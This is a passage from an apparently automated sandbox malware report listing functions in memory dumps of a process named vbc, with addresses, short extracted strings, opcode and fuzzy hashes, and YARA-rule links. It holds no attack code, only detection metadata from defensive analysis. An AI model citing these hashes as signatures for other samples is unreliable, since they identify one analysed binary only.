Opcode Fuzzy Hash: 7ead09bac1c066d791c38bb7a15388b6322d9c6e3a763d6f9925a6892822f5f3
Instruction Fuzzy Hash: 0CE12834A00209DFCB14DF64D598AAEBBB2FF88314F1584A9E8169B760DB34EC45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0A09FD90 Relevance: 1.5, Strings: 1, Instructions: 250COMMON

Download Yara Rule

Strings

U, xrefs: 0A09FEED

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: d5d0fa739e03954847d6722c0ca741fb6bc050c5395c87054c5c03fd916dfa77
Instruction ID: 5f2b880210cc7e2f57d2d26dcb639ecadcb9fda8f9c9dd7abe0eb46db32ef3e4
Opcode Fuzzy Hash: d5d0fa739e03954847d6722c0ca741fb6bc050c5395c87054c5c03fd916dfa77
Instruction Fuzzy Hash: 91518C717002048FDB559B38C458A6ABBE3FF89315B1544BDE50ACB7A1DB35EC46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0A028AE0 Relevance: 1.5, Strings: 1, Instructions: 247COMMON

Download Yara Rule

Strings

xP~k, xrefs: 0A028D10

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: xP~k
API String ID: 0-2293208439
Opcode ID: e7aa4910a3e537a009be9005f3a431d9263d85bcc91897b35b441cba8c58aaa8
Instruction ID: 6fe9028dfc83341dae66d71316f7172d1b3c94d2e17378952de3b4af5d10e0dd
Opcode Fuzzy Hash: e7aa4910a3e537a009be9005f3a431d9263d85bcc91897b35b441cba8c58aaa8
Instruction Fuzzy Hash: A191E2747002198FDB55DF78C494A6E7BF6EF89614B1580A9E906CF3A1CB34EC05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04BDF4EA Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

0k, xrefs: 04BDF5F5

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: 0k
API String ID: 0-372558261
Opcode ID: b88a56039110034814f248111350343b824726c99445761e5a4e2011360d77eb
Instruction ID: e9cbe06076d9227ace4fccbf91541caa961c80d0824c774795fc34f2a901c72a
Opcode Fuzzy Hash: b88a56039110034814f248111350343b824726c99445761e5a4e2011360d77eb
Instruction Fuzzy Hash: D681E834A00209DFCB14DF64D5989AEBBB2FF88354F1585A9E816AB360DB34EC45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04BDE998 Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

0k, xrefs: 04BDE9DF

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: 0k
API String ID: 0-372558261
Opcode ID: 45aad7f6eef2b48dac80f0f1036602ba48c5ecb434a7d9cb0fad026ae03a4402
Instruction ID: d2d171ec2b3990b95cc3f33970be7dfb0c857d4cc59c82c5509d9dd93bde228c
Opcode Fuzzy Hash: 45aad7f6eef2b48dac80f0f1036602ba48c5ecb434a7d9cb0fad026ae03a4402
Instruction Fuzzy Hash: E3716C71E007098FDB14DFA4C59469EBBF3AF89304F24856AE406AF350EB74AC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04BD359F Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

8c[g, xrefs: 04BD36F5

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: 8c[g
API String ID: 0-3570600527
Opcode ID: 0f8b30e0e773b1af9e2a4a535165c464c39c4979e87656d7cdebb0eb26ca61e2
Instruction ID: 066205e1ba83d5a214f82d6f15598621b02a98959ca498fcb93ced35696f1479
Opcode Fuzzy Hash: 0f8b30e0e773b1af9e2a4a535165c464c39c4979e87656d7cdebb0eb26ca61e2
Instruction Fuzzy Hash: A4716230D01208DFCB14EFB8E49489DBBB2FF8A315B6056ADE516B7290EF359849CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04BD35C0 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

8c[g, xrefs: 04BD36F5

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: 8c[g
API String ID: 0-3570600527
Opcode ID: 9cabbc6423f25f62811bf0739d3996591e2f67d38767390c543ca915b13fcc6c
Instruction ID: b90d229a3950bbfc664498e4bdff0aac02bd98072e16e1a64b15e3b3d408dd80
Opcode Fuzzy Hash: 9cabbc6423f25f62811bf0739d3996591e2f67d38767390c543ca915b13fcc6c
Instruction Fuzzy Hash: 9E614030901208DFCB14EFB8E49489DBBB2FF8A315B60656DE51677290EF359849CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04BDE780 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

ho8, xrefs: 04BDE7BF

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: ho8
API String ID: 0-4062087346
Opcode ID: 2ea2caa009a29039fc9f677c4b646f14cee7879ade8dd889cd8667bf0871338d
Instruction ID: 763e1a7cad422b760b7634900a4cf9a9d4bb9c75a1774a0a2296db82fae53676
Opcode Fuzzy Hash: 2ea2caa009a29039fc9f677c4b646f14cee7879ade8dd889cd8667bf0871338d
Instruction Fuzzy Hash: 6E511E34A01219DFCF14DFA4E8989EDBBB6FF88714F108069E812AB364DB35A905CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0A099E48 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

zu, xrefs: 0A099E61

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: zu
API String ID: 0-1504565735
Opcode ID: 04ba50b6ec95e1bbc3d1ad174a4d557878af802ec4155266aebefcf9c3e7cba5
Instruction ID: f42fd3d6b7ea7bbb790cf32df58a0ce7f853557aab8ab092479d01bb223ba184
Opcode Fuzzy Hash: 04ba50b6ec95e1bbc3d1ad174a4d557878af802ec4155266aebefcf9c3e7cba5
Instruction Fuzzy Hash: 37416D32A002099FDB44DFB8C994AAEBBF6FF8C304F148069E506E7350DB75A845CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0A09CE70 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

rP, xrefs: 0A09CF81

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: rP
API String ID: 0-2149975642
Opcode ID: e700dec24b8ef52933e97875268a5dca711694227272b7b466e385607c4cbaa0
Instruction ID: 82b55700cf208889ba7734e92bd695be41a81098c9c0dd8c78f738f4f94f2978
Opcode Fuzzy Hash: e700dec24b8ef52933e97875268a5dca711694227272b7b466e385607c4cbaa0
Instruction Fuzzy Hash: 14317671B153499FEF19A7B885246AD3FF28F82345F0444BAD846DB381EF309C058B91

Uniqueness

Uniqueness Score: -1.00%

Function 0A097020 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

DK~k, xrefs: 0A0970C3

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: DK~k
API String ID: 0-572628735
Opcode ID: f98c731f278d4fcb9c4b75add5dc44f8ec0ffa08ca063f85047f141813715d70
Instruction ID: 3914cc5e1e211f4c95e98b03221b65d81ee1e45ff0bf2882914d1196867374d0
Opcode Fuzzy Hash: f98c731f278d4fcb9c4b75add5dc44f8ec0ffa08ca063f85047f141813715d70
Instruction Fuzzy Hash: AC310532B002149FCB159B78A558A6EBBF7EFC9750F10006AE906CB382DF34DC058791

Uniqueness

Uniqueness Score: -1.00%

Function 0A09E200 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

`yzk, xrefs: 0A09E231

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: `yzk
API String ID: 0-1324503660
Opcode ID: 745ddd2b7a59a4e22b6cd592e7ce980dac3cb5c377ff8a6e3fa345ebc0b5691d
Instruction ID: 6441c462f78ab2b41cf34c27e4fdf26bcf559d95cd18465ced37af4a4fa511f8
Opcode Fuzzy Hash: 745ddd2b7a59a4e22b6cd592e7ce980dac3cb5c377ff8a6e3fa345ebc0b5691d
Instruction Fuzzy Hash: E521CE36B04618EF8F55DA64D48849DFBA7EBCC260B088A25D903A7714DFB09D068BD2

Uniqueness

Uniqueness Score: -1.00%

Function 0A027420 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

9, xrefs: 0A027365

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: 9
API String ID: 0-2366072709
Opcode ID: d6dbf11c8096a4c6293c7ff6bcadb36e47bcbe65e6d07498ea7acb0cb7f0407c
Instruction ID: 73f8d22e786a786baf84407a5f960d491480dbb5d559e049309a3e1fa966fccd
Opcode Fuzzy Hash: d6dbf11c8096a4c6293c7ff6bcadb36e47bcbe65e6d07498ea7acb0cb7f0407c
Instruction Fuzzy Hash: 7E3157303043AA8FE736DB29D484656BFE6BF81310B0985AEC989CB213D770DC85CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0A097DD0 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

p*u, xrefs: 0A097E51

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: p*u
API String ID: 0-1412794785
Opcode ID: 3a5ad142d90e15eabc6cfd83d8f4a9d41e0c0862377076ecffab7f249cee575b
Instruction ID: 4b40e7e56874304a32ac46aea468bc7502ab6bbc7e28f4a1e5ec89b3a08840f2
Opcode Fuzzy Hash: 3a5ad142d90e15eabc6cfd83d8f4a9d41e0c0862377076ecffab7f249cee575b
Instruction Fuzzy Hash: D2317F353102089FCB649B2AC498A6ABBE6EF887547558839E942C7350DF70EC41CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0A09E20B Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

`yzk, xrefs: 0A09E231

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: `yzk
API String ID: 0-1324503660
Opcode ID: 0928e612b01c67ae5ae77db28ef7b1319387b2aec047d09478122ce22f47aa0e
Instruction ID: 4cfb2222b4392c485c3ec778e6023fb2167e34d7bd715c9bbee052a53dd7892d
Opcode Fuzzy Hash: 0928e612b01c67ae5ae77db28ef7b1319387b2aec047d09478122ce22f47aa0e
Instruction Fuzzy Hash: 7621D036F04618EF8F54DA64D48849DFBA7EBCC260B088A25DC03A7314DFB09D068BD2

Uniqueness

Uniqueness Score: -1.00%

Function 0A098E68 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

bu, xrefs: 0A098EAE

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: bu
API String ID: 0-1268263727
Opcode ID: eb313d99590e3a46631cd912a7d1ea6300dc40490ee5592f01ae8c7d4292650f
Instruction ID: a3bcc192e77dc772595aa7309eddec618901e10e8f0ba3c9558b4e4b1538c9e3
Opcode Fuzzy Hash: eb313d99590e3a46631cd912a7d1ea6300dc40490ee5592f01ae8c7d4292650f
Instruction Fuzzy Hash: D911C8313057806FC352DB38D868996BFE6EF4B214B0580EEE586CB362C675CC44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0A021047 Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

~ Tg, xrefs: 0A02108A

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: ~ Tg
API String ID: 0-2682790648
Opcode ID: e0226db530cc6f6d8223379e5fe5b701628439fbaa4224be8a122802ba48e4c3
Instruction ID: ceaeee4e53e6333c27c485f2b83e89fccd8941074d5ff273f6f049cf73178ea6
Opcode Fuzzy Hash: e0226db530cc6f6d8223379e5fe5b701628439fbaa4224be8a122802ba48e4c3
Instruction Fuzzy Hash: 63017C352023049B8709DB74D9594DEB7A6EFC6614310CA7AC146CFB24DFB1AC0B8BE0

Uniqueness

Uniqueness Score: -1.00%

Function 04BD5309 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

8c[g, xrefs: 04BD532D

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: 8c[g
API String ID: 0-3570600527
Opcode ID: 90d782c9aa5f823e6e79cf2de4a9cf6a07304a248688fef8914dabf58ae9b8b3
Instruction ID: c86e5d2e7c6ad94222f072b876542636f79c27f7d812e30a05d55bba842a25e6
Opcode Fuzzy Hash: 90d782c9aa5f823e6e79cf2de4a9cf6a07304a248688fef8914dabf58ae9b8b3
Instruction Fuzzy Hash: D401E1302053458FD764AF74D15865A7BE3EFC6319B0049BDD28A87794DFB8AC0D8B92

Uniqueness

Uniqueness Score: -1.00%

Function 04BD4C58 Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

g^_], xrefs: 04BD4B76

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: g^_]
API String ID: 0-3379462094
Opcode ID: 1600ca391c79f28d64224a3697fee30a4a681f6938d322eff2995afc7fe4cff9
Instruction ID: 93443a8fd6446612273bb7187f278ca846e56b518270851d41510f038b67a357
Opcode Fuzzy Hash: 1600ca391c79f28d64224a3697fee30a4a681f6938d322eff2995afc7fe4cff9
Instruction Fuzzy Hash: 471104700017009FD719DF21D948752BFF2FF88308F14819DE58987665DBBAA50ACF90

Uniqueness

Uniqueness Score: -1.00%

Function 04BDCE88 Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

@8, xrefs: 04BDCEAC

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: @8
API String ID: 0-3686971633
Opcode ID: 419453dfee693634b893bd5710e685317dae04d860a20d9cd95025d64b74f441
Instruction ID: e6829aaffaa561ad0ca0774f221d5e1012c3fd2c29ae582a98393ee73cf8ad8e
Opcode Fuzzy Hash: 419453dfee693634b893bd5710e685317dae04d860a20d9cd95025d64b74f441
Instruction Fuzzy Hash: E501D430701706AFC718EF64D5485CEBBF5FF82264B004ABAD1068B665EB74A90E8BD1

Uniqueness

Uniqueness Score: -1.00%

Function 0A096FA0 Relevance: 1.3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

(8, xrefs: 0A096FB5

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: (8
API String ID: 0-1933709937
Opcode ID: 501379bd65e24894135d792c13d96156650eff2baaf38e1875574528c86b1beb
Instruction ID: 2ce3c36ac3ecd2858badbb9ebca0f81670a022103c5c217301b2bccb79541a96
Opcode Fuzzy Hash: 501379bd65e24894135d792c13d96156650eff2baaf38e1875574528c86b1beb
Instruction Fuzzy Hash: B7014431B013189BCF24AB31A5486AE7BE7EFC0724B04483DE50A8B280DF75AC09CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0A0987C0 Relevance: 1.3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

h<u, xrefs: 0A0987EE

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: h<u
API String ID: 0-3644008723
Opcode ID: f0d799cf1b6151c4c46f2e9a5b08e0bbea62a381e6ed350fa13b96ce2d470fb9
Instruction ID: ee4bcfc1dade7e9910e4c3bf5493843c3dac8954fdbbd193ecf4d2abe51fe1c4
Opcode Fuzzy Hash: f0d799cf1b6151c4c46f2e9a5b08e0bbea62a381e6ed350fa13b96ce2d470fb9
Instruction Fuzzy Hash: 3801F232704344AFC7459B3998446AABFE6FF8A344B04816AE445C7351D7719809D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0A0987D0 Relevance: 1.3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

h<u, xrefs: 0A0987EE

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: h<u
API String ID: 0-3644008723
Opcode ID: 59efbb0c16c9d0b95514091f923f7ee8a9920c2ed4e7ff4e0fbe5c9894a36913
Instruction ID: 26c8c4a1e6ade9a727165a80f45b235e75e0ed2eb522b41eef2bfc7d196aea11
Opcode Fuzzy Hash: 59efbb0c16c9d0b95514091f923f7ee8a9920c2ed4e7ff4e0fbe5c9894a36913
Instruction Fuzzy Hash: CC01D132700244AB8B94AB79A84456EBFEAFFCA254704803AE906C3350DF71AC0587A1

Uniqueness

Uniqueness Score: -1.00%

Function 0A021058 Relevance: 1.3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

Strings

~ Tg, xrefs: 0A02108A

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: ~ Tg
API String ID: 0-2682790648
Opcode ID: e99673e31d34ca35e25bbca51a13d4615e47d5b386a74543a50d063e2569ceea
Instruction ID: bfe810f71e1c6ce061d013d32edf60f991cff35d50d4f3c44893d05a908b27f1
Opcode Fuzzy Hash: e99673e31d34ca35e25bbca51a13d4615e47d5b386a74543a50d063e2569ceea
Instruction Fuzzy Hash: A9F044392022045B8714EB74D55849AB7D7EFC6214344CE79C5468BB14DF71BC0A8BE5

Uniqueness

Uniqueness Score: -1.00%

Function 0A02E3B8 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

l1, xrefs: 0A02E3CF

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: l1
API String ID: 0-2128931416
Opcode ID: 7d3729c0ea208d1f2e5b20ddf80ae08186aaa7ee82a0888a6a9b09084fc346b9
Instruction ID: 059e3c5a7a76e1ce9a785e8ec178f805b482835ca55f7e2db1a296a7288a62b8
Opcode Fuzzy Hash: 7d3729c0ea208d1f2e5b20ddf80ae08186aaa7ee82a0888a6a9b09084fc346b9
Instruction Fuzzy Hash: 05E02626F082480FC71C12BA24AC4AE6FA6CFCB22430800BAE14AC7351DD244C468BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0A02E3C8 Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

l1, xrefs: 0A02E3CF

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: l1
API String ID: 0-2128931416
Opcode ID: 6cc40c047bdeeac6193921c25d98f8f5ee09aa1eb2d49435d1e3328adc2193d4
Instruction ID: 755f530a3263a27b2551d05b2bbccf048cff13722fe8407d945a66173c1b336f
Opcode Fuzzy Hash: 6cc40c047bdeeac6193921c25d98f8f5ee09aa1eb2d49435d1e3328adc2193d4
Instruction Fuzzy Hash: CAD05E2AB016180B061C22BF689C46EB6DFDBCB6257040036F60AC7340DE649C8646E9

Uniqueness

Uniqueness Score: -1.00%

Function 04BDBC90 Relevance: 1.3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

Strings

8, xrefs: 04BDBC9F

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-1304729210
Opcode ID: 795ff5f4dbb87a3856d7fd568426014723e7d093a27c96e4aef8fb30e7f5910f
Instruction ID: 24656e146ee5cea0e03c45c15d2daa38500229ef435f504031a2e8a19c9d3694
Opcode Fuzzy Hash: 795ff5f4dbb87a3856d7fd568426014723e7d093a27c96e4aef8fb30e7f5910f
Instruction Fuzzy Hash: 9CD022326043282B0B48EBA968144CF7F9DCF80074F01406AC20CC7300EE702A0843E4

Uniqueness

Uniqueness Score: -1.00%

Function 0A0964A8 Relevance: 1.3, Strings: 1, Instructions: 12COMMON

Download Yara Rule

Strings

,q, xrefs: 0A0964B4

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: ,q
API String ID: 0-2890397564
Opcode ID: 494c42ab1d3da80284310ff6633e9b090106ef2291b8ebe7f58239fee563121f
Instruction ID: 2b09516341f06fcc113351c9597fa0bf7a1dd71d9bbc497b49a30b356ebb933d
Opcode Fuzzy Hash: 494c42ab1d3da80284310ff6633e9b090106ef2291b8ebe7f58239fee563121f
Instruction Fuzzy Hash: 48C08CB290020CA74B00EEF4A91649EB3ADCB42144F5046A9CD08E7300FE322F0447E6

Uniqueness

Uniqueness Score: -1.00%

Function 0A024BF8 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6f0c5f5a14857694b8b9a589d11ea71909abba488859776927e359a625ec5ed
Instruction ID: eed0f5d6f4869c6d89b80bb2fbae383ff630a819715bec5a775a5b4b90acc203
Opcode Fuzzy Hash: d6f0c5f5a14857694b8b9a589d11ea71909abba488859776927e359a625ec5ed
Instruction Fuzzy Hash: 83026E35A00719CFDB14DF78C854A99BBB1FF89314F118699E949AB361EB31E981CF80

Uniqueness

Uniqueness Score: -1.00%

Function 0A081AD9 Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 149caf7c94d71bb90b0afa0b621ce335b8fd3627f12f274f6ac6c64fc98fb95d
Instruction ID: a157909a8f651c5561fce92b1e46feda276e255ada118fda39898aeb089daf42
Opcode Fuzzy Hash: 149caf7c94d71bb90b0afa0b621ce335b8fd3627f12f274f6ac6c64fc98fb95d
Instruction Fuzzy Hash: D1D16A74B50114AFD708DF58C894D9DB7BAFF58308B618095E619DBBA2CB71EC06CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0A020B90 Relevance: .4, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25a69198e9f03cee4ad9d586fcb7f822db7a67c497e7f7b39bd4934dbc7135bc
Instruction ID: a3ce237ad0951f6eeb411d95c997c341c11662ed061aa66671d85b7867e852fd
Opcode Fuzzy Hash: 25a69198e9f03cee4ad9d586fcb7f822db7a67c497e7f7b39bd4934dbc7135bc
Instruction Fuzzy Hash: 6ED1AD31B003188FEB54DFB8D594AADBBF2AF89214F148469E806EB390DF74DC458B91

Uniqueness

Uniqueness Score: -1.00%

Function 0A080001 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5183bcd5f90701f1fa47c43bca624f473038dc4a70101f8f44def5a88bf76a53
Instruction ID: 79746ef899118b4ecdc13ddc172f519c90325c36cbdf879369cbb96c7d2cc0dd
Opcode Fuzzy Hash: 5183bcd5f90701f1fa47c43bca624f473038dc4a70101f8f44def5a88bf76a53
Instruction Fuzzy Hash: AFD1CE74B00308EFEB219F64C994B6E7BE2EF89604F0140A5E6869B7A1CBB4DC45CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0A0805C5 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9a05cc91edee4dc3ff0c7c55b27f89c165cf76ff605d4dc381db601783e3eda
Instruction ID: 9b6f9b28b268f997cfd2fe49aa814bd90aa0cdbb9b721f954a937972ccf2755e
Opcode Fuzzy Hash: c9a05cc91edee4dc3ff0c7c55b27f89c165cf76ff605d4dc381db601783e3eda
Instruction Fuzzy Hash: 76B1CE74700218EFEB209F64C994B6E77E6EF88704F014065E6469BBA1CBB4EC85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0A0806B3 Relevance: .3, Instructions: 308COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8a1d23500ecd73ffc2f9539ef6dbf4fe308f319364d89ae6b674e093555faa1
Instruction ID: ddd42cdfcc65411355cb6ed7754799d35bf142706d1f87f6dc610cc98ec5f73e
